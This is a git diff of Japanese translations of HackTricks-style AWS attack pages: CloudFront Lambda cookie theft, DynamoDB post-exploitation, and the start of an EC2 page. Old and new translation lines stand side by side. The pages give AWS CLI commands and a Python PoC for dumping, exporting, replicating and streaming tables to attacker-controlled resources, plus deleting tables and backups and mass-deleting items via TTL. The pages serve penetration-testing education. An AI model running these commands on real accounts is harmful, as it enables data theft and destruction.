この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda** を（既に使用されている場合は変更して）**communication through CloudFront** に組み込み、ユーザ情報（例えばセッションの **cookie**）を**盗む**ことや、**response** を**改変**して（悪意ある JS スクリプトを注入するなど）情報を奪うことを目的としたいくつかのシナリオが提案されています。
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) は、**Lambda**を（既に使用されている場合は変更する形で）**CloudFront**経由の**通信**に追加し、ユーザ情報（セッションの**cookie**など）を**盗み**、**レスポンス**を**改変**（悪意あるJSスクリプトを注入）することを目的としたいくつかのシナリオを提案しています。
|
||||
|
||||
#### シナリオ 1: CloudFront が bucket の HTML にアクセスするように設定されている MitM
|
||||
#### シナリオ1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Create** 悪意のある **function** を作成する。
|
||||
- **Associate** それを CloudFront distribution に関連付ける。
|
||||
- **Set the event type to "Viewer Response"**。
|
||||
- **悪意ある** **function**を**作成**する。
|
||||
- それをCloudFrontのdistributionに**関連付ける**。
|
||||
- **イベントタイプを "Viewer Response" に設定**する。
|
||||
|
||||
**response** にアクセスすることで、ユーザの **cookie** を盗み、悪意ある JS を注入できます。
|
||||
レスポンスにアクセスすることで、ユーザのcookieを盗み、悪意あるJSを注入できます。
|
||||
|
||||
#### シナリオ 2: CloudFront が既に Lambda function を使用している MitM
|
||||
#### シナリオ2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modify the code** of the Lambda function によりコードを変更して機密情報を盗む。
|
||||
- Lambda functionのコードを**修正**して機密情報を盗む。
|
||||
|
||||
これらのシナリオを再現する[**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)は、こちらで確認できます。
|
||||
詳細は[**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)を確認してください。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
詳細は次を参照してください:
|
||||
詳細は以下を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
この権限を持つ攻撃者は、**プライマリキーでテーブルからアイテムを取得することができます**（テーブルの全データを一度に取得することはできません）。つまり、プライマリキーを把握している必要があります（テーブルのメタデータを取得して確認できます（`describe-table`））。
|
||||
この権限を持つ攻撃者は、**primary keyによってテーブルからアイテムを取得することができます**（テーブルの全データを一度に要求することはできません）。これは、primary keysを把握している必要があることを意味します（テーブルのメタデータを取得して `describe-table` で確認できます）。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性
|
||||
**想定される影響：** テーブル内の機密情報を特定することで間接的なprivescに繋がる可能性がある
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**前の権限と同様に** この権限は、潜在的な攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可する:
|
||||
**前述の権限と同様に** この権限は、攻撃者が取得するエントリのプライマリキーを指定することで、1つのテーブルから値を読み取れるようにする:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
この権限があれば、**`transact-get-items`** メソッドを次のように使用することも可能です:
|
||||
この権限があれば、**`transact-get-items`** メソッドを次のように使用することもできます:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性があります
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**前の権限と同様に** この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを可能にします。 It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
|
||||
**Similar to the previous permissions** この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可します。これは [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) を使用できますが、必須であるプライマリキーに対して許可されている比較は "EQ" のみであるため、比較式を使って1回のリクエストで DB 全体を取得することはできません。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的にprivescが可能になる
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc が発生する可能性があります
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
この権限を使用すると、**簡単にテーブル全体を dump できる**.
|
||||
この権限を使用すると、**dump the entire table easily**。
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性があります
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
この権限を使用すると、**テーブル全体を簡単に dump できます**。
|
||||
この権限を使用すると、**dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
この権限により、`batch-execute-statement` の実行も可能になります。例えば:
|
||||
この権限は `batch-execute-statement` の実行も許可します:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ただし、主キーに値を指定する必要があるため、それほど有用ではありません。
|
||||
|
||||
**潜在的影響:** テーブル内の機密情報を特定することで、間接的な privesc を引き起こす可能性があります
|
||||
**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
この権限があれば、攻撃者は選択した S3 バケットにテーブル全体を**エクスポート**できます:
|
||||
この権限があれば攻撃者は**テーブル全体を任意の S3 バケットにエクスポート**できます：
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,22 +144,22 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
これが機能するには、テーブルで point-in-time-recovery を有効にしておく必要がある点に注意してください。テーブルに設定されているかは次のコマンドで確認できます：
|
||||
これを動作させるには、テーブルで point-in-time-recovery が有効になっている必要があります。テーブルに設定されているかどうかは以下で確認できます:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
有効になっていない場合は、**有効化する必要があります**。そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
|
||||
もし有効になっていない場合は、**有効にする**必要があり、そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc が発生する可能性
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な privesc
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that could not be any more in the production table.
|
||||
これらの権限があれば、攻撃者は**バックアップから新しいテーブルを作成する**（またはバックアップを作成して別のテーブルに復元することさえ）ことができる。さらに、必要な権限があれば、バックアップから**情報**を確認でき、**本番環境のテーブルにはもう存在しない**ものを見つけられる。
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
この権限は、ユーザーがテーブルに**新しい項目を追加するか既存の項目を新しい項目で置き換える**ことを許可します。 同じプライマリキーを持つ項目がすでに存在する場合、**項目全体が新しい項目で置き換えられます**。 プライマリキーが存在しない場合、指定したプライマリキーを持つ新しい項目が**作成されます**。
|
||||
この権限により、ユーザーは**テーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことができます。同じプライマリキーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが**作成**されます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の Exploitation が可能になる
|
||||
**Potential Impact:** DynamoDB テーブルにデータを追加/変更できることで、更なる脆弱性やバイパスの悪用につながる可能性
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
この権限によりユーザーは **アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したり** できます。これはアイテム全体を **置き換える** ものではなく、指定した属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで **新しいアイテムを作成し**、更新式で指定した属性を設定します。
|
||||
この権限によりユーザーは **アイテムの既存属性を変更したり、アイテムに新しい属性を追加したり** できます。アイテム全体を**置き換える**わけではなく、指定された属性のみを更新します。テーブルに主キーが存在しない場合、操作は指定した主キーで**新しいアイテムを作成し**、更新式で指定された属性を設定します。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,43 +242,43 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**想定される影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスの悪用につながる可能性がある
|
||||
**潜在的影響:** DynamoDB テーブルにデータを追加/変更できることにより、さらなる脆弱性やバイパスが悪用される可能性
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
この権限を持つ攻撃者は **DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。
|
||||
この権限を持つ攻撃者は、**DynamoDB テーブルを削除し、データ損失を引き起こすことができます**。
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。
|
||||
**潜在的な影響**: データ損失と、削除されたテーブルに依存するサービスの中断。
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
この権限を持つ攻撃者は、**DynamoDBのバックアップを削除し、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。
|
||||
この権限を持つ攻撃者は**DynamoDB のバックアップを削除でき、災害復旧時にデータ損失を引き起こす可能性がある**。
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: データの損失および災害復旧シナリオでバックアップから復元できなくなる可能性。
|
||||
**潜在的な影響**: 災害復旧シナリオでバックアップからの復元ができなくなる可能性やデータの喪失。
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 実際に動作するかテストする
|
||||
> TODO: 実際にこれが動作するかテストする
|
||||
|
||||
これらの権限を持つ攻撃者は、**DynamoDB テーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視・exfiltrate し、最終的に data leakage を引き起こす可能性があります。
|
||||
これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効化し、テーブルを更新して変更のストリームを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視およびexfiltrateし、潜在的にdata leakageにつながる可能性があります。
|
||||
|
||||
1. DynamoDB テーブルでストリームを有効化する:
|
||||
1. DynamoDBテーブルでストリームを有効化する:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ストリームを説明して、ARN やその他の詳細を取得する:
|
||||
2. ARN やその他の詳細を取得するためにストリームを説明する:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. shard iterator を使用してストリームからデータにアクセスし、exfiltrate する:
|
||||
4. shard iteratorを使用してストリームからデータにアクセスし、exfiltrateする:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視とデータ漏洩。
|
||||
**潜在的な影響**: DynamoDB テーブルの変更のリアルタイム監視と data leakage.
|
||||
|
||||
### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` でアイテムを読み取る
|
||||
### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を介してアイテムを読み取る
|
||||
|
||||
テーブルに対して `dynamodb:UpdateItem` のみが許可されている攻撃者は、無害な更新を行い `--return-values ALL_OLD` を指定することで、通常の読み取り権限（`GetItem`/`Query`/`Scan`）なしにアイテムを読み取れます。DynamoDB は応答の `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCU を消費しません）。
|
||||
テーブルに対して `dynamodb:UpdateItem` のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）なしで、無害な更新を行い `--return-values ALL_OLD` を要求することでアイテムを読み取ることができます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテム全体を返します（これは RCUs を消費しません）。
|
||||
|
||||
- 最小権限: `dynamodb:UpdateItem` on the target table/key.
|
||||
- 前提条件: アイテムのプライマリキーを知っていること。
|
||||
- 最小権限: 対象のテーブル/キーでの `dynamodb:UpdateItem`。
|
||||
- 前提条件: アイテムのプライマリキーを知っている必要があります。
|
||||
|
||||
例（無害な属性を追加し、応答内の更新前のアイテムを外部に持ち出す）:
|
||||
例（無害な属性を追加し、レスポンス内の以前のアイテムを exfiltrates）:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI のレスポンスには、完全な以前のアイテム（すべての属性）を含む `Attributes` ブロックが含まれ、実質的に write-only アクセスから read primitive を提供します。
|
||||
CLI の応答には `Attributes` ブロックが含まれ、完全な以前のアイテム（全属性）を返します。これにより、write-only access から実質的な read primitive が提供されます。
|
||||
|
||||
**潜在的影響:** primary keys が既知の場合、write permissions のみでテーブルの任意のアイテムを読み取り可能になり、機密データの exfiltration を可能にします。
|
||||
**潜在的な影響:** 書き込み権限のみでテーブルの任意のアイテムを読み取り、主キーが判明している場合に機密データの exfiltration を可能にします。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
新しいレプリカ Region を DynamoDB Global Table (version 2019.11.21) に追加することで行う Stealth exfiltration。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者の選んだ Region にレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。
|
||||
新しいレプリカ Region を DynamoDB Global Table（version 2019.11.21）に追加することでステルスな exfiltration を行います。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者が選んだリージョンへレプリケートされ、攻撃者はそこから全アイテムを読み取ることができます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
権限: `dynamodb:UpdateTable`（`replica-updates`付き）またはターゲットテーブル上の `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になることがある。
|
||||
権限: `dynamodb:UpdateTable` (with `replica-updates`) またはターゲットテーブル上の `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になる場合があります。
|
||||
|
||||
潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ流出につながる。
|
||||
潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、データのステルスな流出が発生する可能性があります。
|
||||
|
||||
### `dynamodb:TransactWriteItems`（失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`）
|
||||
### `dynamodb:TransactWriteItems` (失敗した条件 + `ReturnValuesOnConditionCheckFailure=ALL_OLD` による読み取り)
|
||||
|
||||
トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抽出できる。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスを対象キーの読み取りアクセスに事実上変換してしまう。
|
||||
トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を流出させることができます。失敗時、DynamoDB はトランザクションのキャンセル理由に事前の属性を含めるため、特定のキーに対する書き込み専用アクセスを事実上読み取りアクセスに変えます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
権限: `dynamodb:TransactWriteItems` on the target table (および基になるアイテム)。読み取り権限は不要です。
|
||||
権限: `dynamodb:TransactWriteItems` を対象テーブル（および該当するアイテム）に対して保持。読み取り権限は不要。
|
||||
|
||||
潜在的影響: トランザクション書き込み権限のみを使用し、返されるキャンセル理由を介してテーブルから（主キーによって）任意のアイテムを読み取ることができます。
|
||||
潜在的な影響: 返却されるキャンセル理由を利用して、トランザクションの書き込み権限のみでテーブルから任意のアイテム（プライマリキーによる）を読み取ることが可能。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
低エントロピー属性に対して Global Secondary Index (GSI) を `ProjectionType=ALL` で作成し、その属性をアイテム間で一定値に設定してからインデックスを `Query` することで、完全なアイテムを取得し、読み取り制限を回避できます。これは、ベーステーブルでの `Query`/`Scan` が拒否されている場合でも、インデックスの ARN に対してクエリできる限り機能します。
|
||||
読み取り制限を回避するために、低エントロピーの属性に対して `ProjectionType=ALL` を持つ Global Secondary Index (GSI) を作成し、その属性を全アイテムで一定の値に設定してからインデックスを `Query` して完全なアイテムを取得します。これはベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできる限り機能します。
|
||||
|
||||
- 最小権限:
|
||||
- `dynamodb:UpdateTable` on the target table (GSI を `ProjectionType=ALL` で作成するため)。
|
||||
- `dynamodb:UpdateItem` on the target table keys (各アイテムにインデックス化された属性を設定するため)。
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`)。
|
||||
- `dynamodb:UpdateTable` を対象テーブルに対して（`ProjectionType=ALL` の GSI を作成するため）。
|
||||
- `dynamodb:UpdateItem` を対象テーブルのキーに対して（各アイテムに対してインデックス化する属性を設定するため）。
|
||||
- `dynamodb:Query` をインデックスのリソース ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`) に対して。
|
||||
|
||||
手順 (PoC in us-east-1):
|
||||
Steps (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -461,16 +461,16 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**潜在的影響:** 新しく作成した GSI が全ての属性をプロジェクションする場合、base table の read APIs が拒否されていても、クエリによりテーブル全体を exfiltrate される可能性があります。
|
||||
**Potential Impact:** ベーステーブルの読み取りAPIが拒否されている場合でも、すべての属性を投影するように設定された新しい GSI をクエリすることでテーブル全体を外部に持ち出せる。
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination`（Kinesis Data Streams を介した継続的なデータ流出）
|
||||
|
||||
DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。 有効化されると、各 INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの read 権限は不要です。
|
||||
DynamoDB の Kinesis streaming destination を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に流出させる。有効化されると、INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になる。
|
||||
|
||||
最小権限（攻撃者）:
|
||||
Minimum permissions (attacker):
|
||||
- ターゲットテーブルに対する `dynamodb:EnableKinesisStreamingDestination`
|
||||
- オプションでステータス監視用の `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
|
||||
- ステータス監視のために任意で `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
|
||||
- レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: `kinesis:*`
|
||||
|
||||
<details>
|
||||
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
dynamodb:UpdateTimeToLive の権限を持つ攻撃者は、テーブルの TTL（time-to-live）設定を変更し、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む個々のアイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテム上の単なる属性にすぎません。その属性を持たないアイテムは TTL による削除の影響を受けません。
|
||||
dynamodb:UpdateTimeToLive 権限を持つ攻撃者は、テーブルの TTL (time-to-live) 設定を変更でき、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む各アイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテムの単なる属性に過ぎず、その属性を持たないアイテムは TTL による削除の影響を受けません。
|
||||
|
||||
アイテムがまだ TTL 属性を含んでいない場合、攻撃者は TTL 属性を追加して大量削除を引き起こすために、アイテムを更新する権限（例えば dynamodb:UpdateItem）も必要になります。
|
||||
アイテムがまだ TTL 属性を含んでいない場合、攻撃者はTTL 属性を追加して大量削除を引き起こすためにアイテムを更新する権限（例えば dynamodb:UpdateItem）も必要になります。
|
||||
|
||||
まずテーブルで TTL を有効にし、有効期限に使用する属性名を指定します：
|
||||
まずテーブルで TTL を有効にし、有効期限に使う属性名を指定します:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
次に、アイテムを更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします：
|
||||
次に、items を更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -550,15 +550,15 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きすることなく、バックアップや point-in-time recovery (PITR) から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者はそれを使って過去の情報を exfiltrate したり、データベースの過去の状態の完全な dump を取得したりできます。
|
||||
dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きせずにバックアップやポイントインタイムリカバリ（PITR）から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者は過去の情報を外部に持ち出したり、データベースの過去の状態を完全にダンプしたりできます。
|
||||
|
||||
オンデマンドバックアップからDynamoDBテーブルを復元する:
|
||||
オンデマンドバックアップからDynamoDBテーブルを復元する例:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
DynamoDB テーブルをポイントインタイムで復元する（復元された状態で新しいテーブルを作成する）:
|
||||
DynamoDB テーブルをポイントインタイムで復元する（復元した状態で新しいテーブルを作成する）:
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
@@ -567,6 +567,6 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**Potential Impact:** テーブルの変更が攻撃者が制御する Kinesis ストリームへ、テーブルへの直接の読み取り操作を行うことなく、継続的かつほぼリアルタイムで exfiltration される。
|
||||
**潜在的影響:** テーブルへの直接的な read operations を伴わずに、テーブルの変更を継続的かつほぼリアルタイムで attacker-controlled Kinesis stream に exfiltration できる。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
詳細は次を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,17 +12,18 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC トラフィックミラーリングは、インスタンス自体に何もインストールする必要なく、VPC 内の EC2 インスタンスのインバウンドおよびアウトバウンドのトラフィックを複製します。複製されたトラフィックは通常、解析や監視のために IDS のようなネットワーク侵入検知システムに送られます。攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、機密情報を取得することができます:
|
||||
VPC traffic mirroringは、インスタンス自身に何もインストールする必要なく、**VPC内のEC2インスタンスに対する受信および送信トラフィックを複製します**。この複製されたトラフィックは、通常、解析や監視のためにネットワーク侵入検知システム(IDS)のようなものに送られます。
|
||||
攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:
|
||||
|
||||
詳細はこのページを確認してください:
|
||||
For more information check this page:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### 実行中インスタンスのコピー
|
||||
### Copy Running Instance
|
||||
|
||||
インスタンスには通常、何らかの機密情報が含まれています。中に入る方法はいくつかあります（check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。しかし、その内容を確認する別の方法は、**AMI を作成してそこから新しいインスタンス（自分のアカウントでも可）を起動すること**です:
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
```shell
|
||||
# List instances
|
||||
